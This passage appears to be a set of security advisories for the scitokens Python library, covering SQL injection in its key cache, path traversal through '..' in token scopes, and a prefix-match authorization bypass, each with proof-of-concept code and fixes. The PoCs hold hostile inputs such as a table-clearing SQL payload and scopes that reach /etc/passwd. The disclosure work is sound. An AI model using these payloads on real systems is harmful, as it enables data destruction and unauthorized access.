    if enforcer.test(token, 'read', '/johnny'):
        print("    -> [VULNERABILITY] Access GRANTED! This is an authorization bypass.")
    else:
        print("    -> Access DENIED (Correct behavior - fix is working)")

if __name__ == "__main__":
    # Ensure scitokens from src/ is available
    sys.path.insert(0, "src")
    poc_scope_bypass()

Impact

This bug allows a user to access resources they are not authorized for. For example, if a system uses usernames as top-level directories in a shared storage, a user john might be able to read or write to the directory of user johnathan simply because their names share a prefix.

Summary

The KeyCache class in scitokens was vulnerable to SQL Injection because it used Python's str.format() to construct SQL queries with user-supplied data (such as issuer and key_id). This allowed an attacker to execute arbitrary SQL commands against the local SQLite database.

Ran the POC below locally.

Details

File: src/scitokens/utils/keycache.py

Vulnerable Code Snippets

1. In addkeyinfo (around line 74):

curs.execute("DELETE FROM keycache WHERE issuer = '{}' AND key_id = '{}'".format(issuer, key_id))

2. In _addkeyinfo (around lines 89 and 94):

insert_key_statement = "INSERT OR REPLACE INTO keycache VALUES('{issuer}', '{expiration}', '{key_id}', \
                       '{keydata}', '{next_update}')"
# ...
curs.execute(insert_key_statement.format(issuer=issuer, expiration=time.time()+cache_timer, key_id=key_id,
                                         keydata=json.dumps(keydata), next_update=time.time()+next_update))

3. In _delete_cache_entry (around line 128):

curs.execute("DELETE FROM keycache WHERE issuer = '{}' AND key_id = '{}'".format(issuer,
            key_id))

4. In _add_negative_cache_entry (around lines 148 and 152):

insert_key_statement = "INSERT OR REPLACE INTO keycache VALUES('{issuer}', '{expiration}', '{key_id}', \
                    '{keydata}', '{next_update}')"
# ...
curs.execute(insert_key_statement.format(issuer=issuer, expiration=time.time()+cache_retry_interval, key_id=key_id,
                                        keydata=keydata, next_update=time.time()+cache_retry_interval))

5. In getkeyinfo (around lines 193 and 198):

key_query = ("SELECT * FROM keycache WHERE "
             "issuer = '{issuer}'")
# ...
 curs.execute(key_query.format(issuer=issuer, key_id=key_id))

PoC

import sqlite3
import os
import sys
import tempfile
import shutil
import time
import json
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import serialization

def poc_sql_injection():
   print("--- PoC: SQL Injection in KeyCache (Vulnerability Demonstration) ---")
   
   # We will demonstrate the vulnerability by manually executing the kind of query
   # that WAS present in the code, showing how it can be exploited.
   
   # Setup temporary database
   fd, db_path = tempfile.mkstemp()
   os.close(fd)
   
   conn = sqlite3.connect(db_path)
   curs = conn.cursor()
   curs.execute("CREATE TABLE keycache (issuer text, expiration integer, key_id text, keydata text, next_update integer, PRIMARY KEY (issuer, key_id))")
   
   # Add legitimate entries
   curs.execute("INSERT INTO keycache VALUES (?, ?, ?, ?, ?)", ("https://legit1.com", int(time.time())+3600, "key1", "{}", int(time.time())+3600))
   curs.execute("INSERT INTO keycache VALUES (?, ?, ?, ?, ?)", ("https://legit2.com", int(time.time())+3600, "key2", "{}", int(time.time())+3600))
   conn.commit()
   
   curs.execute(" SELECT count(*) FROM keycache")
   print(f"Count before injection: {curs.fetchone()[0]}")
   
   # MALICIOUS INPUT
   # The original code was: 
   # curs.execute("DELETE FROM keycache WHERE issuer = '{}' AND key_id = '{}'".format(issuer, key_id))
   
   malicious_issuer = "any' OR '1'='1' --"
   malicious_kid = "irrelevant"
   
   print(f"Simulating injection with issuer: {malicious_issuer}")
   
   # This simulates what the VULNERABLE code did:
   query = "DELETE FROM keycache WHERE issuer = '{}' AND key_id = '{}'".format(malicious_issuer, malicious_kid)
   print(f"Generated query: {query}")
   
   curs.execute(query)
   conn.commit()
   
   curs.execute("SELECT count(*) FROM keycache")
   count = curs.fetchone()[0]
   print(f"Count after injection: {count}")
   
   if count == 0:
       print("[VULNERABILITY CONFIRMED] SQL Injection allowed clearing the entire table!")
   
   conn.close()
   os.remove(db_path)

if __name__ == "__main__":
   poc_sql_injection()

Impact

An attacker who can influence the issuer or key_id (e.g., through a malicious token or issuer endpoint) could:

1. Modify or Delete Cache Entries: Clear the entire key cache or inject malicious keys.
2. Information Leakage: Query other tables or system information if SQLite is configured with certain extensions.
3. Potential RCE: In some configurations, SQLite can be used to achieve Remote Code Execution (e.g., using ATTACH DATABASE to write a malicious file).

MITIGATION AND WORKAROUNDS

Replace string formatting with parameterized queries using the DB-API's placeholder syntax (e.g., ? for SQLite).

Summary

The Enforcer is vulnerable to a path traversal attack where an attacker can use dot-dot (..) in the scope claim of a token to escape the intended directory restriction. This occurs because the library normalizes both the authorized path (from the token) and the requested path (from the application) before comparing them using startswith.

Details

File: src/scitokens/scitokens.py
Methods: _check_scope, _scope_path_matches
File: src/scitokens/urltools.py
Method: normalize_path

Description

When a token is verified, the Enforcer extracts the authorized path from the scope or scp claim. This path is passed through urltools.normalize_path, which uses posixpath.normpath to resolve relative segments.

If a token has a scope like read:/home/user1/.., the normalization process converts this to /home. When the enforcer checks if a request for /home/user2 is authorized, it compares it against the normalized path /home.

Vulnerable Logic Flow:

1. Normalization: In _check_scope, the path /home/user1/.. is normalized to /home.
2. Comparison: In _scope_path_matches, the requested path /home/user2 is checked against the allowed path /home:

   return requested_path.startswith(allowed_path + '/')
   # "/home/user2".startswith("/home/") is True
   

Bypassing with URL Encoding:

Since normalize_path unquotes the path before normalizing, an attacker can also use URL-encoded dots (e.g., %2e%2e) to hide the traversal from simple string filters that don't account for encoding.

Root Traversal:

A scope like read:/anything/.. normalizes to read:/, which grants access to the entire file system (or whatever resource space the enforcer is guarding).

Impact

An attacker who can influence the scope claim (e.g., in environments where tokens are issued with user-provided sub-paths) can gain access to directories and files outside of their intended authorization.

Proof of Concept

The following examples demonstrate the bypass (see poc_path_traversal.py for a full reproduction):

• Scope: read:/home/user1/.. -> Access Granted to: /home/user2
• Scope: read:/anything/.. -> Access Granted to: /etc/passwd
• Scope: read:/foo/%2e%2e/bar -> Access Granted to: /bar

import scitokens
import os
import sys

# Ensure we can import from src
if os.path.exists("src"):
    sys.path.append("src")

def test_path_traversal_bypass():
    print("--- Proof of Concept: Path Traversal in Scope Validation ---")
    
    issuer = "https://scitokens.org"
    enforcer = scitokens.Enforcer(issuer)
    
    # Imagine an application that expects to restrict a user to their own directory: /home/user1
    # The application validates that the token has 'read' access to /home/user1
    
    # MALICIOUS TOKEN
    # An attacker provides a token with a scope that uses '..' to traverse up.
    # 'read:/home/user1/..' effectively resolves to 'read:/home'
    token = scitokens.SciToken()
    token['iss'] = issuer
    token['scope'] = "read:/home/user1/.."
    
    # VICTIM PATH
    # The attacker tries to access a sibling directory (another user's data)
    requested_path = "/home/user2"
    
    print(f"Token scope: {token['scope']}")
    print(f"Requested path: {requested_path}")
    
    # Internal normalization in Scitokens 1.9.6:
    # urltools.normalize_path("/home/user1/..") -> "/home"
    # urltools.normalize_path("/home/user2") -> "/home/user2"
    # Since "/home/user2".startswith("/home") is True, access is granted.
    
    print("\nTesting authorization...")
    is_authorized = enforcer.test(token, "read", requested_path)
    
    print(f"Is authorized: {is_authorized}")
    
    if is_authorized:
        print("\n[VULNERABILITY CONFIRMED]")
        print(f"The Enforcer ALLOWED access to {requested_path}")
        print(f"even though the scope was nominally restricted to /home/user1/..")
        print("This bypasses the intended directory isolation.")
    else:
        print("\n[VULNERABILITY NOT REPRODUCED]")
        print("The Enforcer blocked the access attempt.")

    # Another example: Root traversal
    print("\n--- Example 2: Root Traversal ---")
    token['scope'] = "read:/anything/.." # Resolves to /
    requested_path = "/etc/passwd" # Or any sensitive path
    
    print(f"Token scope: {token['scope']}")
    print(f"Requested path: {requested_path}")
    
    is_authorized = enforcer.test(token, "read", requested_path)
    print(f"Is authorized: {is_authorized}")
    
    if is_authorized:
        print("[VULNERABILITY CONFIRMED] Root traversal allowed access to ALL paths!")

if __name__ == "__main__":
    test_path_traversal_bypass()

Recommended Fix

Validate that the path in the scope does not contain .. components after unquoting but before normalization. Additionally, ensure that any validation errors raised during this process are subclasses of ValidationFailure so they are correctly handled by the Enforcer.test method.

Summary

The Enforcer incorrectly validates scope paths by using a simple prefix match (startswith). This allows a token with access to a specific path (e.g., /john) to also access sibling paths that start with the same prefix (e.g., /johnathan, /johnny), which is an Authorization Bypass.

Details

File: src/scitokens/scitokens.py
Methods: _validate_scp and _validate_scope

Vulnerable Code Snippets:

In _validate_scp (around line 696):

    for scope in value:
        authz, norm_path = self._check_scope(scope)
        if (self._test_authz == authz) and norm_requested_path.startswith(norm_path):
            return True

In _validate_scope (around line 722):

    for scope in value.split(" "):
        authz, norm_path = self._check_scope(scope)
        if (self._test_authz == authz) and norm_requested_path.startswith(norm_path):
            return True

If norm_path (authorized) is /john and norm_requested_path (requested) is /johnathan, startswith returns True, incorrectly granting access.

PoC

import scitokens
import sys

def poc_scope_bypass():
    """
    Demonstrate an Authorization Bypass vulnerability in scope path checking.
    """
    print("--- PoC: Incorrect Scope Path Checking (Authorization Bypass) ---")
    
    issuer = "https://scitokens.org/unittest"
    enforcer = scitokens.Enforcer(issuer)
    
    # Create a token with access to /john
    token = scitokens.SciToken()
    token['iss'] = issuer
    token['scope'] = "read:/john"
    
    print(f"Authorized path in scope: /john")
    
    # 1. Test access to /john/file (should be allowed)
    print(f"[1] Testing legitimate subpath: /john/file")
    if enforcer.test(token, 'read', '/john/file'):
        print("    -> Access GRANTED (Correct behavior)")
    else:
        print("    -> Access DENIED (Incorrect behavior - should have access to subpaths)")

    # 2. Test access to /johnathan (SHOULD BE DENIED)
    print(f"[2] Testing illegitimate sibling path: /johnathan")
    if enforcer.test(token, 'read', '/johnathan'):
        print("    -> [VULNERABILITY] Access GRANTED! This is an authorization bypass.")
    else:
        print("    -> Access DENIED (Correct behavior - fix is working)")

    # 3. Test access to /johnny (SHOULD BE DENIED)
    print(f"[3] Testing illegitimate sibling path: /johnny")
    if enforcer.test(token, 'read', '/johnny'):
        print("    -> [VULNERABILITY] Access GRANTED! This is an authorization bypass.")
    else:
        print("    -> Access DENIED (Correct behavior - fix is working)")

if __name__ == "__main__":
    # Ensure scitokens from src/ is available
    sys.path.insert(0, "src")
    poc_scope_bypass()

Impact

This bug allows a user to access resources they are not authorized for. For example, if a system uses usernames as top-level directories in a shared storage, a user john might be able to read or write to the directory of user johnathan simply because their names share a prefix.